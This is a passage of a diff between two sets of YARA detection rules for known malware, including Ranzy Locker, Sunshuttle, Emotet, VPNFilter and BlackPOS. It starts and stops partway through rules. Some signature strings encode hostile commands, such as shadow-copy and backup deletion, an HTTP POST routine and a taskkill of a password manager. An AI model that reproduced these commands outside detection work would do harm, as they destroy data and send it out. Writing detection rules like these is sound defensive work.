fd ff ff 8b 95 4c fd ff ff e8 54 b2 fe ff 89 85 38 fd ff ff 89 95 3c fd ff ff 8b c3 99 52 50 8b 85 38 fd ff ff 8b 95 3c fd ff ff e8 0e b2 fe ff 52 50 8b c6 99 3b 54 24 04 75 09 3b 04 24 5a 58 73 18 eb 04 5a 58 7d 12 8b c6 99 f7 fb 99 89 85 38 fd ff ff 89 95 3c fd ff ff 83 bd 3c fd ff ff 00 75 07 83 bd 38 fd ff ff 00 74 31 ff b5 3c fd ff ff ff b5 38 fd ff ff 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 d9 b1 fe ff 89 85 30 fd ff ff 89 95 34 fd ff ff 89 9d 2c fd ff ff eb 38 c7 85 38 fd ff ff 01 00 00 00 c7 85 3c fd ff ff 00 00 00 00 8b 85 48 fd ff ff 89 85 30 fd ff ff 8b 85 4c fd ff ff 89 85 34 fd ff ff 8b 85 48 fd ff ff 89 85 2c fd ff ff 8d 45 f0 e8 05 a1 fe ff b2 01 a1 98 6f 40 00 e8 61 94 fe ff 89 85 1c fd ff ff 8b 9d 38 fd ff ff 85 db 0f 8e 9f 00 00 00 c7 85 44 fd ff ff 01 00 00 00 ff b5 34 fd ff ff ff b5 30 fd ff ff 8b 85 44 fd ff ff 48 99 e8 1e b1 fe ff 89 85 20 fd ff ff 89 95 24 fd ff ff 8d 95 20 fd ff ff b9 08 00 00 00 8b 85 1c fd ff ff 8b 30 ff 56 10 ff b5 24 fd ff ff ff b5 20 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8d 45 f4 8b 95 2c fd ff ff e8 19 a7 fe ff 8d 45 f4 e8 3d a5 fe ff 8b d0 8b 8d 2c fd ff ff 8b 85 50 fd ff ff e8 e6 ca fe ff 8d 45 f0 8b 55 f4 e8 fb a2 fe ff ff 85 44 fd ff ff 4b 0f 85 6b ff ff ff 6a 00 6a 00 33 d2 8b 85 1c fd ff ff 8b 08 ff 51 18 8d 45 ec e8 2d a0 fe ff 8b 85 1c fd ff ff 8b 10 ff 12 89 85 18 fd ff ff 8d 45 ec 8b 95 18 fd ff ff e8 af a6 fe ff 8d 45 ec e8 d3 a4 fe ff 8b d0 8b 8d 18 fd ff ff 8b 85 1c fd ff ff 8b 18 ff 53 } - $s5 = ": :(:,:0:4:8:<:@:D:H:\\:|:" fullword ascii - $s6 = " remove '.' from {.$DEFINE ComplexBraces}" fullword ascii + $jat = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 } + $jatboss = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 } + $spam = { 54 00 68 00 69 00 73 00 20 00 65 00 2D 00 6D 00 61 00 69 00 6C 00 20 00 61 00 6E 00 64 00 20 00 61 00 6E 00 79 00 20 00 61 00 74 00 74 00 61 00 63 00 68 00 6D 00 65 00 6E 00 74 00 20 00 61 00 72 00 65 00 20 00 43 00 6F 00 6E 00 66 00 69 00 64 00 65 00 6E 00 74 00 69 00 61 00 6C 00 2E 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 4 of them + ( uint16( 0 ) == 0x5025 and filesize < 1000KB and ( $jat or $jatboss ) ) or ( uint16( 0 ) == 0xcfd0 and $spam and any of ( $jat* ) ) } -rule ARKBIRD_SOLG_MAL_Milum_Jul_2021_1 : FILE +rule TRELLIX_ARC_MALW_Emotet : FINANCIAL FILE { meta: - description = "Detect Milum malware" - author = "Arkbird_SOLG" - id = "ba1cc56e-f6da-57db-a773-4823ae343e31" - date = "2021-07-08" - modified = "2021-07-08" - reference = "https://securelist.com/wildpressure-targets-macos/103072/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-08/WildPressure/MAL_Milum_Jul_2021_1.yara#L1-L33" - license_url = "N/A" - logic_hash = "4321051fdc9ab5f4ee12c4b505e4271df89b489067875eaf3d2cb670815f7e37" + description = "Rule to detect unpacked Emotet" + author = "Marc Rivero | McAfee ATR Team" + id = "5bc83065-dfdd-56b7-9983-200bff35c8b1" + date = "2020-07-21" + modified = "2020-08-14" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_emotet.yar#L1-L32" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "223e4453a6c3b56b0bc0f91147fa55ea59582d64b8a5c08f1f8d06026044065e" score = 75 - quality = 75 - tags = "FILE" - hash1 = "7eafb957c2e715e06489a979a185f75d7a9d502223c8aba36e7b6b8ead7d03b2" - hash2 = "86456ebf6b807e8253faf1262e7a2b673131c80174f6133b253b2e5f0da442a9" - hash3 = "5e0226f37b861876ec38e4a1564a26e4af3022d869375bc0f09b8feea4cd9e1b" - tlp = "White" - adversary = "WildPressure" + quality = 70 + tags = "FINANCIAL, FILE" + rule_version = "v1" + malware_type = "financial" + malware_family = "Backdoor:W32/Emotet" + actor_type = "Cybercrime" + hash1 = "a6621c093047446e0e8ae104769af93a5a8ed147ab8865afaafbbd22adbd052d" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = { 52 00 4f 00 4f 00 54 00 5c 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 43 00 65 00 6e 00 74 00 65 00 72 00 32 00 00 00 00 00 53 00 65 00 6c 00 65 00 63 00 74 00 20 [3-7] 20 00 46 00 72 00 6f 00 6d 00 20 00 41 00 6e 00 74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 57 00 48 00 45 00 52 00 45 00 20 00 64 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 20 00 3c 00 3e 00 27 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 27 } - $s2 = "c1VybCA9IHt1fQ0Kc1JlcXVlc3QgPSB7cH0NCkhUVFBQb3N0IHNVcmwsIHNSZXF1ZXN0DQpGdW5jdGlvbiBIVFRQUG9zdChzVXJsLCBzUmVxdWVzdCkNCiAgc2V0IG9IVFRQID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogIG9IVFRQLm9wZW4gIlBPU1QiLCBzVXJsLGZhbHNlDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiDQogIG9IVFRQLnNldFJlcXVlc3RIZWFkZXIgIkNvbnRlbnQtTGVuZ3RoIiwgTGVuKHNSZXF1ZXN0KQ0KICBvSFRUUC5zZW5kIHNSZXF1ZXN0DQogIFdzY3JpcHQuRWNobyBvSFRUUC5yZXNwb25zZVRleHQNCiAgSFRUUFBvc3QgPSBvSFRUUC5yZXNwb25zZVRleHQNCiBFbmQgRnVuY3Rpb24=" fullword ascii - $s3 = { 46 49 4c 45 20 48 41 4e 44 45 4c 20 4e 4f 54 20 46 4f 55 4e 44 00 00 00 4e 4f 20 44 61 74 61 00 } - $s4 = { 28 00 77 00 73 00 33 00 32 00 29 00 65 00 79 00 4a 00 73 00 62 00 32 00 35 00 6e 00 64 00 32 00 46 00 70 00 64 00 43 00 49 00 36 00 49 00 6a 00 } - $s5 = { 55 8b ec 6a ff 68 [3] 00 64 a1 00 00 00 00 50 83 ec 24 a1 [3] 00 33 c5 89 45 f0 ?? 57 50 8d 45 f4 64 a3 00 00 00 00 [8] b9 0f 00 00 00 89 4e } - $s6 = { 20 2f 63 20 [0-1] 46 4f 52 20 2f 6c 20 25 69 20 69 6e 20 28 31 2c 31 2c [1-4] 29 20 44 4f 20 49 46 20 4e 4f 54 20 45 58 49 53 54 20 22 00 22 29 } - $s7 = { 83 c4 0c 8d 95 44 fe ff ff 52 c7 85 44 fe ff ff 14 01 00 00 ff 15 [3] 00 83 bd 48 fe ff ff 06 7d 17 bf [3] 00 89 bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 eb 1a c7 85 ?? fe ff ff [3] 00 8b bd ?? fe ff ff c7 85 ?? fe ff ff [3] 00 } - $s8 = { 8b 45 08 50 68 bc 78 45 00 68 d0 78 45 00 8d 8d d0 fc ff ff 51 ff d6 83 c4 10 8b 3d a0 e0 44 00 8b 35 c4 e0 44 00 8d 64 } + $pattern_0 = { 8b45fc 8be5 5d c3 55 8bec } + $pattern_1 = { 3c39 7e13 3c61 7c04 3c7a 7e0b 3c41 } + $pattern_2 = { 7c04 3c39 7e13 3c61 7c04 3c7a 7e0b } + $pattern_3 = { 5f 8bc6 5e 5b 8be5 } + $pattern_4 = { 5f 668906 5e 5b } + $pattern_5 = { 3c30 7c04 3c39 7e13 3c61 7c04 } + $pattern_6 = { 53 56 57 8bfa 8bf1 } + $pattern_7 = { 3c39 7e13 3c61 7c04 3c7a 7e0b } + $pattern_8 = { 55 8bec 83ec14 53 } + $pattern_9 = { 5e 8be5 5d c3 55 8bec } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) + 7 of them and filesize < 180224 } -rule ARKBIRD_SOLG_Ran_Ranzy_Locker_Nov_2020_1 : FILE +rule TRELLIX_ARC_Vpnfilter : BACKDOOR FILE { meta: - description = " Detect Ranzy Locker (RAAS)" - author = "Arkbird_SOLG" - id = "7e81d73a-ef18-5f89-b6b3-f56212d30b4a" - date = "2020-11-19" - modified = "2020-11-19" - reference = "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-19/Ranzy_Locker/Ran_Ranzy_Locker_Nov_2020_1.yar#L1-L36" - license_url = "N/A" - logic_hash = "e27017fa196d14b88c5cb682a070d10e42b63f9e21189d9917c0ae03c47216cc" + description = "Filter for 2nd stage malware used in VPNfilter attack" + author = "Christiaan Beek @ McAfee Advanced Threat Research" + id = "89bd7f94-d73c-5c5c-a3ec-0331f79e61fd" + date = "2018-05-23" + modified = "2020-08-14" + reference = "https://blog.talosintelligence.com/2018/05/VPNFilter.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_VPNfilter.yar#L1-L40" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + hash = "9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387" + logic_hash = "88f08765dff632f0c08e985181309e5c3ac9cdaa51d05d8485c411fb1a183cca" score = 75 - quality = 75 - tags = "FILE" - hash1 = "393fd0768b24cd76ca653af3eba9bff93c6740a2669b30cf59f8a064c46437a2" - hash2 = "90691a36d1556ba7a77d0216f730d6cd9a9063e71626489094313c0afe85a939" - hash3 = "ade5d0fe2679fb8af652e14c40e099e0c1aaea950c25165cebb1550e33579a79" - hash4 = "bbf122cce1176b041648c4e772b230ec49ed11396270f54ad2c5956113caf7b7" - hash5 = "c4f72b292750e9332b1f1b9761d5aefc07301bc15edf31adeaf2e608000ec1c9" + quality = 70 + tags = "BACKDOOR, FILE" + rule_version = "v1" + malware_type = "backdoor" + malware_family = "Backdoor:W32/VPNfilter" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii - $s2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii - $s3 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii - $s4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii - $s5 = "534F4654574152455C4D6963726F736F66745C45524944" ascii - $s6 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" - $s7 = "7B5549447D" ascii - $s8 = "7B5041545445524E5F49447D" ascii - $s9 = "726561646D652E747874" ascii - $s10 = "226E6574776F726B223A22" ascii - $s11 = "226C616E67223A22" ascii - $s12 = "7B4558547D" ascii - $s13 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" - $s14 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii - $s15 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii - $s16 = "227375626964223A22" ascii - $s17 = "22657874223A22" ascii - $s18 = "226B6579223A22" ascii - $seq1 = { 8b 46 50 8d 4d a4 83 7d d4 10 53 8b 1d 14 80 41 00 89 45 a4 8d 45 c0 0f 43 45 c0 51 50 6a 00 6a 01 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 b9 00 00 00 8b 46 68 8d 4d a4 83 7d ec 10 57 89 45 a4 8d 45 d8 0f 43 45 d8 33 ff 51 50 6a 00 47 57 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 8a 00 00 00 c6 45 fc 02 33 db 8b 45 e8 8b 4d d0 03 c1 6a 0f 5a 89 5d b8 89 55 bc 88 5d a8 89 7d a4 3b c2 76 15 88 5d a0 8d 4d a8 ff 75 a0 50 e8 78 02 00 00 8b 4d d0 89 5d b8 83 7d d4 10 8d 45 c0 51 0f 43 45 c0 8d 4d a8 50 e8 ca de ff ff 83 7d ec 10 8d 45 d8 ff 75 e8 0f 43 45 d8 8d 4d a8 50 e8 b3 de ff ff 8d 45 a8 50 8d 4e 70 e8 b8 d8 ff ff 8d 4d a8 e8 3f bf ff ff 8d 4d d8 e8 37 bf ff ff 8d 4d c0 e8 2f bf ff ff b0 01 eb 12 8d 4d d8 e8 23 bf ff ff 8d 4d c0 e8 1b bf ff ff 32 c0 e8 3f f1 } - $seq2 = { 8b 75 08 33 ff 8b 55 0c 33 c0 89 b5 68 fb ff ff 89 bd ac fb ff ff c7 85 b0 fb ff ff 07 00 00 00 66 89 85 9c fb ff ff 89 7d fc 39 7a 10 0f 84 da 00 00 00 6a 02 0f 57 c0 8d 8d 84 fb ff ff 58 66 0f 13 85 bc fb ff ff 66 89 85 b4 fb ff ff e8 6e ac ff ff 83 78 14 10 72 02 8b 00 50 ff 15 18 82 41 00 8d 8d 84 fb ff ff 89 85 b8 fb ff ff e8 8f a8 ff ff 68 87 69 00 00 ff 15 0c 82 41 00 bb 01 04 00 00 66 89 85 b6 fb ff ff 53 8d 85 c4 fb ff ff 57 50 e8 fd 2d 00 00 83 c4 0c 8d 7d cc 33 c0 6a 08 59 6a 08 6a 20 f3 ab 8d 45 cc 50 53 8d 85 c4 fb ff ff 50 6a 10 8d 85 b4 fb ff ff 50 ff 15 1c 82 41 00 85 c0 75 45 8d 85 c4 fb ff ff 50 8d 8d 6c fb ff ff e8 7f a8 ff ff 8b d0 c6 45 fc 01 8d 8d 84 fb ff ff e8 26 ab ff ff 50 8d 8d 9c fb ff ff e8 88 bf ff ff 8d 8d 84 fb ff ff e8 c8 c2 ff ff 8d 8d 6c fb ff ff e8 f5 a7 ff ff 8d 85 9c fb } + $s1 = "id-at-postalAddress" fullword ascii + $s2 = "/bin/shell" fullword ascii + $s3 = "/DZrtenNLQNiTrM9AM+vdqBpVoNq0qjU51Bx5rU2BXcFbXvI5MT9TNUhXwIDAQAB" fullword ascii + $s4 = "Usage does not match the keyUsage extension" fullword ascii + $s5 = "id-at-postalCode" fullword ascii + $s6 = "vTeY4KZMaUrveEel5tWZC94RSMKgxR6cyE1nBXyTQnDOGbfpNNgBKxyKbINWoOJU" fullword ascii + $s7 = "id-ce-extKeyUsage" fullword ascii + $s8 = "/f8wYwYDVR0jBFwwWoAUtFrkpbPe0lL2udWmlQ/rPrzH/f+hP6Q9MDsxCzAJBgNV" fullword ascii + $s9 = "/etc/config/hosts" fullword ascii + $s10 = "%s%-18s: %d bits" fullword ascii + $s11 = "id-ce-keyUsage" fullword ascii + $s12 = "Machine is not on the network" fullword ascii + $s13 = "No XENIX semaphores available" fullword ascii + $s14 = "No CSI structure available" fullword ascii + $s15 = "Name not unique on network" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and 10 of ( $s* ) and 1 of ( $seq* ) + ( uint16( 0 ) == 0x457f and filesize < 500KB and ( 8 of them ) ) or ( all of them ) } -rule ARKBIRD_SOLG_APT_Lazarus_HTA_Apr_2021_1 : FILE +rule TRELLIX_ARC_Malw_Inabot_Worm : WORM FILE { meta: - description = "Detect HTA with the fake picture header as decoy used by Lazarus" - author = "Arkbird_SOLG" - id = "1a57251e-f0fb-541c-bf8b-f1afecf7f1c7" - date = "2021-04-27" - modified = "2021-04-27" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-27/Lazarus/APT_Lazarus_HTA_Apr_2021_1.yara#L1-L21" - license_url = "N/A" - logic_hash = "40c2e5b662d1999c3ae5be97604bb9ebc809a383d66331cb4b385666ce55be2a" + description = "Rule to detect inabot worm based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "b899d2d6-000a-5363-9efe-527dcd0cea17" + date = "2013-04-19" + modified = "2020-08-14" + reference = "http://verwijderspyware.blogspot.com/2013/04/elimineren-w32inabot-worm-hoe-te.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_inabot_worm_pdb.yar#L1-L25" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + hash = "c9c010228254aae222e31c669dda639cdd30695729b8ef2b6ece06d899a496aa" + logic_hash = "70485de4e071b684faa87484ce2a53a8b2a29d0a2954e785b858c7ff1d908de0" score = 75 - quality = 63 - tags = "FILE" - hash1 = "888cfc87b44024c48eed794cc9d6dea9f6ae0cc3468dee940495e839a12ee0db" - tlp = "white" - adversary = "Lazarus" + quality = 70 + tags = "WORM, FILE" + rule_version = "v1" + malware_type = "worm" + malware_family = "Worm:W32/Inabot" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = { 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e } - $s2 = { 5b 27 4f 70 65 6e 54 65 78 74 46 69 6c 65 27 2c 27 43 72 65 61 74 65 54 65 78 74 46 69 6c 65 27 } - $s3 = { 5b 27 70 75 73 68 27 5d } - $s4 = { 28 27 4d 5a 27 29 2c 65 5b 27 43 6c 6f 73 65 27 5d 28 29 } - $s5 = { 5b 27 73 68 69 66 74 27 5d 28 29 } - $s6 = { 3b 76 61 72 20 64 61 74 61 3d 5b } - $s7 = { 62 3d 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 27 29 } + $pdb = "\\trasser\\portland.pdb" + $pdb1 = "\\mainstream\\archive.pdb" condition: - ( uint16( 0 ) == 0x4d42 or uint16( 0 ) == 0xd8ff or uint32( 0 ) == 0x474e5089 or uint32( 0 ) == 0x38464947 ) and filesize > 20KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize < 180KB and any of them } -rule ARKBIRD_SOLG_APT_UNC2452_Sunshuttle_Mar_2021_1 : FILE +rule TRELLIX_ARC_MALWARE_Blackpos_Pdb : POS FILE { meta: - description = "Detect Sunshuttle implant used by UNC2452 group" - author = "Arkbird_SOLG" - id = "faa07d19-4c61-554d-a6b1-ab7cb0919ec0" - date = "2021-03-06" - modified = "2021-03-06" - reference = "https://twitter.com/Arkbird_SOLG/status/1367570764468224010" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/UNC2452/APT_UNC2452_sunshuttle_Mar_2021_1.yar#L1-L31" - license_url = "N/A" - logic_hash = "368487f1716aaa5c10e19a428649d6706b3f45c53853e6729752dc41fc97bc38" + description = "BlackPOS PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "f37e1522-49c4-5369-bc2c-33b070e9eae7" + date = "2014-01-24" + modified = "2020-08-14" + reference = "https://en.wikipedia.org/wiki/BlackPOS_Malware" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_blackpos_pdb.yar#L1-L25" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + hash = "5a963e8aca62f3cf5872c6bff02d6dee0399728554c6ac3f5cb312b2ba7d7dbf" + logic_hash = "d8f3fa380ca15f0fae432849b8c16cb8a0a9d1427d3e72fbf89cbbd63b0849c9" score = 75 - quality = 63 - tags = "FILE" - hash1 = "611458206837560511cb007ab5eeb57047025c2edc0643184561a6bf451e8c2c" - hash2 = "b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8" - hash3 = "bbd16685917b9b35c7480d5711193c1cd0e4e7ccb0f2bf1fd584c0aebca5ae4c" + quality = 70 + tags = "POS, FILE" + rule_version = "v1" + malware_type = "pos" + malware_family = "Pos:W32/BlackPos" + actor_type = "Cybercrime" + actor_group = "Unknown" strings: - $s1 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 39 59 72 42 6a 6b 6b 58 46 79 6b 62 47 51 72 6d 56 32 4b 49 2f 41 48 44 69 7a 57 51 61 4d 38 47 38 4a 37 6b 56 4b 32 56 65 2f 46 55 74 5f 6b 6b 53 56 6c 78 32 36 49 6e 46 56 61 79 70 77 2f 6c 75 5a 41 54 35 55 6e 55 69 34 64 4a 65 6b 6e 73 6b 55 6e 22 } - $s2 = { 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 71 6f 66 49 6b 76 62 6c 73 31 69 72 4f 36 78 68 6a 41 63 5a 2f 6a 49 69 71 41 70 70 31 56 6f 39 72 4f 53 2d 44 6a 65 4e 75 2f 62 50 75 6e 33 4e 35 74 49 42 58 4b 50 74 4e 79 73 48 4f 51 2f 41 52 53 72 63 65 6b 35 68 51 47 38 59 49 56 6e 4d 75 37 54 22 } - $s3 = { 6f 73 2f 65 78 65 63 2e 28 2a 43 6d 64 29 2e 52 75 6e } - $s4 = "main.request_session_key" fullword ascii - $s5 = "main.wget_file" fullword ascii - $s6 = "main.GetMD5Hash" fullword ascii - $s7 = "main.beaconing" fullword ascii - $s8 = "main.resolve_command" fullword ascii - $s9 = "main.send_file_part" fullword ascii - $s10 = "main.retrieve_session_key" fullword ascii - $s11 = "main.send_command_result" fullword ascii - $s12 = { 63 38 3a 32 37 3a 63 63 3a 63 32 3a 33 37 3a 35 61 } - $s13 = { 2d 2d 2d 2d 2d 42 45 47 49 4e } - $s14 = { 2d 2d 2d 2d 2d 45 4e 44 } + $pdb = "\\Projects\\Rescator\\MmonNew\\Debug\\mmon.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize > 800KB and 12 of them + uint16( 0 ) == 0x5a4d and filesize < 300KB and any of them } -rule ARKBIRD_SOLG_APT_Unknown_Middle_East_Feb_2020_1 : FILE +rule TRELLIX_ARC_Cyaxsharp_Rezer0 : LOADER { meta: - description = "Dectect unknown Middle East implants (retrohunt June 2020)" - author = "Arkbird_SOLG" - id = "e45675e6-29d5-587b-943e-19450772a092" - date = "2021-03-05" - modified = "2021-03-06" - reference = "internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-06/Unknown/APT_Unknown_Middle_East_Feb_2020_1.yar#L1-L24" - license_url = "N/A" - logic_hash = "64cdac73bc3e29e8716cb24ae6577f853b2cf31303d129a0ec38ba89b7ff5351" + description = "Detects CyaX-Sharp/ReZer0 loader samples based on the embedded scheduled task template" + author = "Max 'Libra' Kersten for McAfee's Advanced Threat Research Team" + id = "7a1addcf-4e8f-5290-8788-9b0738128160" + date = "2021-04-08" + modified = "2021-08-04" + reference = "This rule was published in combination with the following McAfee ATR blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/see-ya-sharp-a-loaders-tale/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MAL_cyax_sharp_loader.yar#L1-L16" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "3d6daaf7a85a9b3898e4ce5d5293b09f26965f9f7280b34ba8f6814b7f14dec2" score = 75 - quality = 75 - tags = "FILE" - hash1 = "274beb57ae19cbc5c2027e08cb2b718dea7ed1acb21bd329d5aba33231fb699d" - hash2 = "3a4ef9b7bd7f61c75501262e8b9e31f9e9bc3a841d5de33dcdeb8aaa65e95f76" + quality = 70 + tags = "LOADER" + version = "1.0" + malware_type = "loader" strings: - $seq1 = { 55 8b ec 83 e4 f8 81 ec 08 04 00 00 a1 34 45 49 00 33 c4 89 84 24 04 04 00 00 83 ec 08 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 af 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 98 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 81 9f ff ff 83 c4 0c 8d 04 24 68 00 04 00 00 6a 00 50 e8 [2] 01 00 83 c4 0c 8d 04 24 [4] 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? ab 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 6c 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a9 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 33 c0 66 89 84 24 fe 03 00 00 8d 04 24 68 [2] 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a6 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 8d 4c 24 0c e8 6b a1 ff ff 83 c4 04 ba [2] 48 00 b9 ?? 83 48 00 68 [2] 48 00 e8 94 9e ff ff 8b 8c 24 10 04 00 00 83 c4 0c 33 cc e8 [2] 01 00 8b e5 5d } - $seq2 = { 55 8b ec 6a ff 68 [2] 47 00 64 a1 00 00 00 00 50 81 ec d8 00 00 00 a1 34 45 49 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 45 08 8b 75 14 c7 45 fc 00 00 00 00 89 85 34 ff ff ff 89 85 40 ff ff ff 33 c0 50 50 50 50 c7 85 3c ff ff ff 00 00 00 00 68 ?? 70 48 00 89 b5 6c ff ff ff c7 85 48 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 00 00 00 00 89 85 50 ff ff ff ff 15 78 55 47 00 89 85 38 ff ff ff 85 c0 74 3f 6a 00 68 bb 01 00 00 68 ?? 6d 48 00 50 ff 15 8c 55 47 00 89 85 44 ff ff ff 85 c0 74 22 68 00 00 80 00 6a 00 6a 00 6a 00 68 ?? 71 48 00 68 ?? 6d 48 00 50 ff 15 90 55 47 00 89 85 50 ff ff ff 8b 3d 44 53 47 00 6a 00 6a 00 6a 00 6a 00 6a ff 56 6a 00 68 e9 fd 00 00 ff d7 8b f0 56 e8 ?? 35 01 00 83 c4 04 89 85 4c ff ff ff 6a 00 6a 00 56 50 6a ff ff b5 6c ff ff ff 6a 00 68 e9 fd 00 00 ff d7 68 80 00 00 00 8b f8 8d 85 70 ff ff ff 6a 00 50 e8 [2] 02 00 57 8d 85 70 ff ff ff 68 ?? 79 48 00 50 e8 ?? a3 00 00 83 c4 18 c7 85 64 ff ff ff 00 00 00 00 33 c0 c7 85 68 ff ff ff 07 00 00 00 8d 8d 54 ff ff ff 66 89 85 54 ff ff ff 6a 10 68 [2] 48 00 e8 ?? 84 00 00 8d 8d 70 ff ff ff c7 45 fc 01 00 00 00 8d 51 02 66 8b 01 83 c1 02 66 85 c0 75 f5 2b ca 8d 85 70 ff ff ff d1 f9 51 50 8d 8d 54 ff ff ff e8 89 63 00 00 6a 33 68 ?? 71 48 00 8d 8d 54 ff ff ff e8 77 63 00 00 8b b5 50 ff ff ff 85 f6 } - $s1 = "taskkill /im svehost.exe /t /f" fullword ascii - $s2 = "\\AppData\\Windows\\svehost.exe" fullword ascii - $s3 = "svehost.exe" fullword wide - $s4 = "bdagent.exe" fullword wide - $s5 = "taskkill /im keepass.exe /t /f" fullword ascii - $s6 = "%s\\AppData\\Windows\\svehost" fullword ascii - $s7 = "\\AppData\\Roaming\\ViberPc" fullword wide - $s8 = "\\AppData\\Roaming\\Skype" fullword wide + $template = { 